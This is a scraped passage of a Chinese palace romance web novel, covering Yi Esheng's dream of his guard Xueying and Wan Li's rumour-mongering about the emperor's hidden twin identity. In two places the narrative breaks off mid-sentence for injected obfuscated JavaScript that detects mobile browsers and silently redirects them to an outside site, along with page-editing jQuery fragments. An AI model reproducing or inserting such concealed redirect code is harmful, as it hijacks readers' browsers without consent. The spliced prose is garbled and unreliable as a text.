义蛾生笑了:“那你叫孤照顾你,就过意得去了?” “哎呀,”雪萤偷偷打量他的脸色,然后扑到他怀里蹭蹭,“主人这不是乐意照顾雪萤嘛。” 义蛾生憋着笑,抬手摸摸他的脑袋。 “其实主人做皇帝,不做皇帝,都没有关系啦。”雪萤又说,“反正阿爹阿娘不在了,雪萤就跟着主人,主人去哪里,哪里就是雪萤的家。” 他想起死去的父母,露出能叫人一眼看穿的失落表情。 义蛾生摸着他的发顶说:“雪萤儿,你阿爹阿娘没有死,他们只是变成萤火虫,飞回到天萤谷,他们会在天萤谷等你回家。” 嘴上说着温情的话语,他心里却在讥讽自己那昏聩无能的父皇。雪萤的父母为这种人付出性命,实在是不值得,但他也知道这是天萤族无法反抗的宿命,所以他想,他绝对不要雪萤也这样。 雪萤抬起头:“嗯……那我到时候跟他们说,我跟着主人也很好,就先不回家了。” 义蛾生又笑了:“那孤还真是倒霉,要被你一直缠上了。” 雪萤嘿嘿一笑:“因为主人实在是——太好太好了。” 义蛾生说:“以后会对你更好的。” “真的吗?”雪萤高兴不已,“等我回天萤谷,我要告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418518|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家,主人是天底下最好的主人,让他们都来投奔您!” 义蛾生抬手枕在脑后,懒洋洋道:“要是你把大家都叫来,孤可就不能只照顾你一个人了。” 雪萤一下就愣住了:“对,对呀。” 他纠结了好一会儿,然后凑到义蛾生身旁,小声跟他说:“那还是不要了……主人能不能以后都不要收别人,就疼雪萤一个人嘛……” 义蛾生放下手,在他脸上捏了捏:“哦,原来孤挑的还是一只吃醋小狗,不准主人把爱分给别人。” 雪萤不高兴地哼哼了几声,小声反驳着,什么自己不是吃醋小狗,明明是吃醋萤火虫,什么就是不能把主人的爱分给别人…… 义蛾生将他搂在怀里说:“不会再有别人了。”雪萤叫他一句话哄好,又高兴起来,趴在他怀里说起了别的话题。 他那时并没有怎么想过,这些承诺是否会实现,因为他不知道自己未来能够走到哪一步。或许等到义遥风登基,那就是他这段人生的终点,好一些的结局是太后那群人肯饶他一命,他就带着雪萤离开,去天萤谷,去哪都好,差一点的就是他死,但还有义遥风照顾雪萤,不至于追随他殉死。 谁知命运无常,当年的愿景完全被对调,他成了皇帝,义遥风那死鬼倒是跑到天萤谷逍遥自在去了…… 他对做皇帝没有执念,他的执念只有一个,雪萤。 为什么会是雪萤?每当他想到这个问题,都会想起很多年以前,最早的时候,他其实也没有太把雪萤放在心上,只当他是自己和义遥风一把趁手的工具。 第一次看见雪萤做梦哭着喊爹娘,他把人推醒,然后问:“你在哭什么?” 雪萤揉着眼睛爬起身,跟他说:“雪萤想爹和娘亲了,爹娘不在,雪萤没有任何亲人了。” 他听得在心头冷笑,很想告诉他,自己也没有任何亲人,他算不上父皇的儿子,算不上太子的兄长,没有身份地位,甚至连名字都没有,说得好像谁不惨一样。 可这件事是秘密,他不能说出来,还要假装微笑,学得像义遥风一般“和蔼可亲”,于是话到嘴边变成了:“没关系,你还有主人。” 雪萤盯着他看了一会儿,然后垂下他那双狗狗眼,小心翼翼蹭到他身边,很乖地说:“谢谢主人。” 他这么乖,不就是在引诱人摸他的脑袋……于是他摸了雪萤的脑袋,又说:“雪萤,以后孤不只是你的主人,孤还会做你的父母,做你的老师,你的朋友,你的兄长,你永远都不会是一个人。” 雪萤一下就高兴了起来:“嗯!” 现在想来,他能一点一点地找回作为正常人的情感,不正是因为这一次次的向雪萤许下不知是否能够实现的承诺么? 梦境中的时间线飞快跳跃,很快的,他又梦见一身是血的雪萤躺在他怀里的场景。 他用手捂着雪萤的脖子,想把从那道刀痕中涌出的鲜血堵住,他好像堵住了,可是血却从雪萤全身上下每一个地方流了出来,在他脚下汇聚成一片血海。 他跪在雪萤的鲜血中,然后怀里一空,就连尸身也消失不见,像每一个天萤族死去那样,他们的身体会风化成灰,一点流萤从灰烬中飞出,不管多远,都要回到天萤谷的熠耀之树上,回归他们的故土。 义蛾生冷汗涔涔地惊醒过来,低头一看,怀里果然空着,难怪他会梦见那一幕。 他神思有些恍惚,隐隐有一股暴戾的气在身体中冲撞着。他开始分不清梦境与现实,怀疑自己仍然身处那孤寂的十年,头痛欲裂,理智几近崩溃。 他再抬头环视四下,这才发现,雪萤不知什么时候从他怀里跑了出去,回到他那张专属软榻上,整个人大大地摊开,正睡得香甜。 义蛾生盯着他看了一会儿,等到确认自己当下不是在做梦时,心头忽然冒出一股无名火。 哪有小狗丢下主人,自己在一旁呼呼大睡的?! 他一边愤愤地想着,一边也上了软榻,将雪萤推到墙角,自己占据着大半张软榻睡了下来,然后把他搂在怀里。 雪萤叫他挤到空间逼仄的墙角,哪怕是在梦中好像也知道不该反抗主人,只得委委屈屈地将他那双修长的腿蜷起,让自己的主人搂着他睡觉。 22. 第 22 章 前夜闹腾半宿,第二天早上,雪萤又被格外开恩不必早起上朝,于是他又一觉睡到大天亮,才爬起来找吃的。 新的花蜜还没有送来,主上说皇城有一家专门做蜂蜜生意的商贾,到时候叫他们专门为他筹备花蜜,什么口味都给他弄齐全,甚至要是有了新口味也会给他送来尝鲜,这让雪萤十分的期待。 他出门时早朝已经结束,于是他直接去议政殿寻找他的主上。刚走到门外时,忽然看见一个熟悉的人从里面出来。 雪萤站在原地,指着那人:“你是……” 他一下子想了起来:“凌阳侯的长史!” 长史殷勤地上前来跟他行礼:“见过雪大人。” 雪萤好奇地问:“你怎么没有跟凌阳侯一起呢?自己就跑来见主上啦。” 不知是不是错觉,长史似乎擦了擦额头的汗,打着哈哈道:“雪大人这是哪的话,下官虽然是凌阳侯的幕僚,但也是陛下的臣子,陛下既然召见,那下官自然要来,倒也没必要时时与侯爷一起。” 雪萤“哦”一声:“我还说要是凌阳侯也在,想问问什么时候能再去凌阳侯府玩。” 长史神色呆滞了一瞬:“再?” 雪萤:“……” 糟糕,怎么又说漏嘴了。 他结结巴巴道:“不是再,雪萤刚醒来不久,还不怎么会说话,说错了。” 长史也干巴巴地笑着:“下官就说,雪大人应该没去过侯府才是……” 雪萤用力点头:“当然!雪萤很正直的,绝对不会做那种,偷偷跑到别人府里房梁上偷听,还趁乱插话的事情!” 长史:“……” 倒也没必要这么“正直”。 过了一会儿,他非常生硬地拍着大腿笑道:“哈哈,是啊,是啊,那肯定的嘛,雪大人是什么人……” 两人在尴尬的气氛中又说了几句话,各自告辞离开,长史出宫,雪萤进书房找他的主上。 义蛾生今日叫他来,打算将御殿督卫名册交给他,让他正式接手御殿督卫的人事管理,负责人员考核、选拔以及录用、淘汰等等。这些事交给雪萤做,他并不太担心,雪萤本就聪明,以前就做得很好的事情,现在也能做好,况且如今御殿督卫为首那几人曾经都是雪萤手底下的人,知道该怎么辅助他。 雪萤进门来,没等他跪下行礼,就被皇帝招手叫去。义蛾生问他:“吃过饭了么?” “吃了!”雪萤说着就想往他身边凑,“主上要不要亲自尝尝?” 义蛾生面无表情拿一根手指抵着他的额头,不让他继续靠过来:“这儿是办公的地方,不准做不正经的话。” 见雪萤要张嘴,义蛾生又说:“不正经的话也不能说。” 雪萤便将那口气憋住,鼓起了腮帮,看着有些气鼓鼓的。 等他的主上拿手指将他的腮帮戳平,雪萤就问:“对了主上,凌阳侯的长史怎么一个人过来了?” “你刚碰见他了?”义蛾生一想便是,他这问题问得实在多余,“自己猜猜看。” 雪萤想了想:“嗯……” 他并没有想多久,便犹豫着说:“该不会,长史其实是主上的人吧……” 他将前阵子发生的事,还有主上跟他讲过的道理串联起来,很快便意识到先前他那随手的一把器珠就能撼动凌阳侯,并不是那么简单的一件事,所以才有了这样的猜测。 义蛾生淡淡地笑了笑,夸奖他:“雪萤真聪明。” 多的没再说什么,然后把早先备好的名册推给雪萤:“你今日没别的事,就拿着名册再去认认人,看看有没有什么缺漏的职位,过阵子也该招募一批人进来了。“ 他现在每日都要提前想好叫雪萤做什么,叫他能够最大限度地发挥自己的专长,但又不会离开自己的视野,也不让他去与朝中大臣、贵族子弟结交来往,他怕不这么做,他会先疯起来,将雪萤关在某处除了他没人知道的地方,要他彻底属于自己,也要剥夺他的自由。 雪萤将名册抱在怀中:“知道啦。” 他转身就要离开,刚走没两步,忽然想起什么,折回来跟皇帝告别:“主上,我走了哦。”说过后,这才蹦蹦跳跳出了书房。 义蛾生盯着他的背影看,直到看不见了,这才低下头,继续看奏折。 刚出了门,迎面撞见谢陵走来。谢陵一见雪萤,上前来行礼:“大人,属下正找您。” 雪萤奇怪道:“有什么事么?” 两人从议政殿门外走开,走了好一段距离,谢陵才道:“近日宫里出现一些流言,内容与大人有关……” 雪萤吃惊:“跟我有关?” “是。”谢陵微微点头,“时间有限,属下只大致调查了一番,这些流言大致说的是,大人死了十年,却一朝复生,此事有悖常理,恐怕是……” 雪萤问:“恐怕是什么?” 谢陵迟疑许久,才继续道:“恐怕是邪祟横生。” 雪萤惊讶地瞪大眼:“雪萤不是邪祟,雪萤是天萤族的人,天萤族本就可以死而复生一次。” 他虽然没了记忆,但这是刻在他骨子里的本能,所以他知道自己有怎样的能力。 谢陵眼神有些复杂:“这件事大家确实都知道,但是,现在的问题是……大人身为天萤族,并没有在死后立即复生,而是等了十年,而且……” 而且,陛下应该还没有告诉雪萤,他其实并没有完全度过蜕化期,步入成年,生出可以让他死而复生的“体甲”。传谣之人必定是太后那边的人,所以才清楚这么多内情,编得也是有模有样。 自从雪萤接手管事后,谢陵很少再直接向皇帝上奏,凡事都先汇报给雪萤。但今日这事,谢陵清楚有些话不能讲给雪萤听,所以他一开始的打算本来是见陛下,但雪萤这边,又不能让他完全不知情。 雪萤皱着眉毛,露出有些烦恼的表情。过了一会儿,他忽然想到什么:“我知道该向谁打听了,谢陵,我先去调查一番!” 他说着便跑开了,跟一阵风一样,速度快到谢陵根本没机会阻止,而后谢陵才反应过来,雪萤该是又去找万笠了。 这么想着,谢陵心头生出些不安,连忙转身匆匆去见陛下。 义蛾生听他说过后,似乎并没有多意外,只问:“流言从哪传起来的?” 谢陵答道:“应该是皇陵那边,从禁军中传出来的。” 义蛾生想了想说:“暂且不管他们,静观其变。” 雪萤没花多少功夫便找到了万笠。 万笠正在湖中亭子里乘凉,有两名女孩伺候着他。一个坐在旁侧剥葡萄喂给他吃,另一个坐在椅子上,让他将脑袋放在自己膝上,双手替他按摩着头部,而他自己躺在长椅上,两只眼睛分别盖着黄瓜片,很是惬意的样子。 见雪萤无声无息地飘进来,女孩们都吓了一跳,纷纷躲到旁边去。万笠揭开一侧眼睛的黄瓜片看了一眼,冲雪萤招招手:“小雪萤,你怎么来啦?来得正好,上次你不说想学按摩手法,快来看看别人是怎么给我按摩的。” 雪萤“哦“了一声,在旁边凳子坐下,正要认真观摩学习,忽然想起自己来是有正事的,连忙站起身,两只手将万笠眼睛上的黄瓜片各自拿开:“万笠,我有事要问你。” 万笠睁开眼:“什么事儿?” 雪萤气鼓鼓地说:“最近有人在背后说雪萤的坏话,说雪萤是‘邪祟’,你知道怎么回事吗?” 万笠笑了,他当然知道,他不但知道,那些流言还是他编出来的。 先前禁军叫皇帝禁足在皇陵,听说这其中还有太后的默认,禁军中那些养尊处优的少爷们知道后,都有点埋怨涂长东的意思,把涂长东整得心情郁卒。太后何等的精明,怕涂长东记恨她,所以要把祸水往雪萤身上引,又为了给禁军找点事做,所以才让万笠编好了流言,让禁军拿出去到处传,不但要在宫里传,还要他们拿回家,在公卿朝臣中传,传得人尽皆知。 涂长东这蠢货却不知道太后在算计他,还真以为自己报复到了雪萤和皇帝。万笠幸灾乐祸地想,传吧,看到时候皇帝怎么弄死他。 万笠装作有些惊讶:“到底怎么一回事?” 雪萤便将谢陵给他说的话,仔仔细细全部讲给万笠听。 万笠假模假样地说:“那这还真是过分!不过吧,小雪萤,我感觉这些流言会传起来,其实也不太奇怪。” 雪萤忙问:“为什么?” 万笠摆摆手让女孩们离开亭子,然后看着雪萤说:“你没了记忆,忘记当年发生的事情,我倒是知道一些,可以讲给你听,但你不能生气。” 雪萤很听话地点头:“我不会生气的。” 万笠这才又道:“小雪萤,你是天萤族,你应该知道天萤族需要完成六次蜕化期,才能进入成年态,生出可以死而复生一次的体甲吧?” 雪萤说:“我知道。” 万笠微微一笑:“可问题就在于,你并没有完成蜕化期,而是卡在第五次,所以你哪来的复生体甲呢?你本来该和普通人一样,死了就是死了,可谁想过了十年你又活过来了,大家觉得害怕也不奇怪吧。” 雪萤惊讶地睁大眼:“没有体甲……怎么可能?!” 万笠跟他说:“你想知道为什么吗?还记得我上次跟你说的,你可能有另一个主人么?” 雪萤没说话,但他神色分明是记得的。 万笠又道:“你是不知道,但大家都知道,当年的太子,也就是你名义上真正的主人,他其实有一位长得一模一样的孪生兄长。当年先皇和太后怕两个孩子一起被人暗算死了,又怕日后二人争权,于是只立了其中之一为太子,而太子的兄长么,就无名无份地活在暗处,必要时成为太子的替身,或者为太子送死。” 这些事雪萤闻所未闻,他听得有些惊呆了,许久都反应不过来,万笠却还在继续说。 “你当年名义上是给太子做侍卫,实则是侍奉他们二人,白天一个,晚上一个。这事当年是秘密,他们连你也没有告诉,所以你只当自己只有一个主人,那就是太子,直到先皇和太子相继死去,他二人身世这才透了出来,这国不可一日无君,没办法,只好叫太子兄长登基。” 雪萤有些头晕目眩:“所以……” 万笠赶忙抢答:“所以,现在的皇帝其实是假太子,他野心勃勃,不愿意做别人的替身,当年发起政变夺权太子,真太子早叫他弄死了。” 雪萤的声音都在发颤:“那这与我没有度过蜕化期有什么关系?” 万笠十分狡猾地说:“当然是因为你对太子忠心耿耿,让皇帝很是妒恨,所以拿天萤族的族长继承人威胁他们,不让你回天萤谷完成蜕化期。” 他又道:“不知道你还记不记得,你死之前,皇帝威胁太子把你送给他,太子被逼无法,只好答应了,但你一心护主,趁此机会暗行刺杀之事,但事发暴露,你就自尽而亡……” 这件事,雪萤当然记得的。他死前最后一幕就是叫太子送到废王手中,他拿着刀,刺了废王一刀,并不致命,而后他就将那刀刺进了自己脖子。 雪萤抬头,眼睛里蒙上一层雾蒙蒙的水气。他看起来有些伤心欲绝,万笠心里乐得不行,嘴上却假惺惺安慰道:“当然了,这些都只是我们这些外人看见的事情,我早跟你说过,你自己多看看,多想想,总会发现事情有另一面。” 雪萤却不再说话,他好像受到了很大的打击,一声不吭地豁然起身,离开亭子。 两名女孩还站在亭子外,从她们身旁经过时,雪萤忽然停下脚步,冷不丁地问她们:“你们都知道,皇帝有一个孪生兄弟?” 女孩们面面相觑,不知雪萤有何用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418519|168916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,好一会儿才磕磕巴巴答道:“知,知道呀,全天下人应该都知道。” 全天下人都知道! 雪萤憋了一肚子气,全天下人的人都知道的事情,就只有他不知道! 前夜入寝时,是义蛾生冷淡着一张脸,雪萤偷偷观察他的脸色。到了这夜,反倒变成雪萤满脸不高兴,义蛾生偷偷观察他的脸色。 白日里听谢陵说起雪萤可能会跑去向万笠打听,义蛾生也没打算采取任何举措。他本来就有放任雪萤知情的意思,又怎么会阻拦呢?看雪萤这会儿的反应,该是知道了什么,就算不知当年事情全貌,也该知道,他与太子是容貌一致的孪生子。 义蛾生心里有些微忐忑,但见雪萤似乎不打算说什么,他便也没什么要说的,只沉默着上了床,前夜还亲密相拥相吻的二人,这才过一日,又泾渭分明的各睡各的。 他躺下没多久,听见身后有衣物摩擦的悉索声,起身转头一看,正见雪萤蹲在他床前,垂着他那双清澈无瑕的狗狗眼,像个丧气小狗。 义蛾生问:“怎么不睡?” 雪萤给自己做着心理建设,好一会儿,才说:“主上,雪萤可不可以问您一个问题?” 义蛾生心头轻轻一颤,心想着,这一刻,还是来了。 他竭力按压住心底生出的不安与焦躁,温声道:“你问。” 雪萤便趴在床边,问他:“主上,您为什么……为什么要叫这个名字呢?” 义蛾生愣住了:“什么?” 不是,这小孩儿怎么又不按常理出牌……他都已经想好了雪萤可能会问的一切问题,并且预设了多个回答,怎么一个都没用上呢? 雪萤神色变得有些惴惴不安:“这个,不能问嘛?” 义蛾生回过神来,失笑:“不是不能问……” 是没想到你会问这个问题。 义蛾生有些不太确定,反问道:“你真的想问这个?” 雪萤歪过头:“是啊。” 义蛾生还不死心:“没别的想问了?” 雪萤疑惑地缓缓摇头。 义蛾生看着他许久,刚筑造起来的坚固心防又叫雪萤轻飘飘地击碎了。他无奈地叹了声气,把雪萤从地上抱起来,放到床上挨近自己睡着,心想他这辈子活着就是要栽进名为“雪萤”的坑里,还是栽得爬都爬不出来的那种。 义蛾生将他搂在怀里:“你也觉得这个名字……” 很轻贱,是么? 他话没有说完,但雪萤却很明白,于是点了点头。主上这样尊贵的人,这么一个名字,看起来既随意,又不好,怎么能够配得上他呢? 义蛾生很轻地笑了笑:“这名字,是朕自己给自己取的。” 原来主上以前真的没有名字……雪萤微微瞪大眼,他想起主上想迷晕他的那夜,在他耳边说过自己“过去没有名字”,万笠白天也跟他说,太子的孪生兄长无名无份,原来真的是,连名字都不配拥有。 雪萤说:“那为什么……不取一个好听一些的呢?” 义蛾生摸了摸他的脸颊:“因为朕这一生,譬如飞蛾。” 雪萤心头猛地一颤,在一瞬间的震撼之后,随之而来的,是他自己都不知道为什么会出现的酸楚。 他的主上依然只是淡淡笑着:“一辈子活在黑暗中,却又不甘心,于是想要扑向烈火,哪怕最后的结局是……焚身化作灰烬。” 这便是,他原本的命运,这个名字,对他来说,再适合不过。 他解答了雪萤的疑问,想知道雪萤会有怎样的反应,结果刚一低头,就蹭了一下巴的水,那是雪萤的眼泪。 雪萤一边抽抽嗒嗒地哭着,一边搂着他的脖子说:“主上……不要死。” 义蛾生愣了愣,又是失笑。 他说什么很过分的话了么?怎么这就哭上了,还哭得这么伤心。 到底是没了记忆,心性比以前更要单纯,一句简简单单的话都能叫他哭个不停。不过这样也好,义蛾生心想,这宫里人人都会喜怒不形于色,戴着一张假面载歌载舞,唯有雪萤是不一样的,有他护着在,让雪萤保留这份天性也没关系。 雪萤抬起头,拿他水淋淋的嘴唇在他主上脸侧蹭来蹭去,然后模模糊糊地说:“也不要扑火,让火烧到很痛的……” 义蛾生忍不住的笑:“这只是个比喻,不是真的要被火烧到。” 雪萤慢慢收了眼泪,仔细思考着他说的话,又懵懵懂懂地问:“是想追求光明的意思嘛?” 义蛾生抬手替他擦了擦脸颊,很轻地“嗯”了一声。 “那……”雪萤抱着他的手臂,“那主上以后不要说‘扑火’,听起来很不吉利,可以说‘扑雪萤’,雪萤是萤火虫,也可以发光,绝对不会伤到主上,这是不是比‘扑火’好多了……” 义蛾生这回真叫他逗得笑起来。他不知道今晚雪萤为什么突然要问他的名字,但他知道,他的宝贝是真的想要他开心起来。 他抬手将雪萤推到旁边躺着,雪萤歪着头,迷糊地“唔?”了一声。 义蛾生便道:“你不是叫朕‘扑雪萤’么,朕先扑一扑,看看感觉怎么样,才能考虑换种说法。” 原来是这样!雪萤恍然大悟,他躺在床上,大大地摊开身子,然后叫他的主上:“来嘛来嘛,雪萤真的很好扑的,主上快来试试……” 义蛾生忍不住地笑,又让他勾得心神激荡,但最后也只是在他身旁侧伏着,将他搂在怀里,仔仔细细地亲了好一会儿,然后紧紧地抱着他睡了。 临到快要睡着时,雪萤还没忘记这件事,迷迷瞪瞪地问:“雪萤是不是很好扑?” 义蛾生低头在他已经抬不起来的眼皮上亲了亲:“是啊,又香又软,比扑火好一万倍。” 雪萤这才露出甜蜜的笑容,安然地让主上抱在怀里睡过去。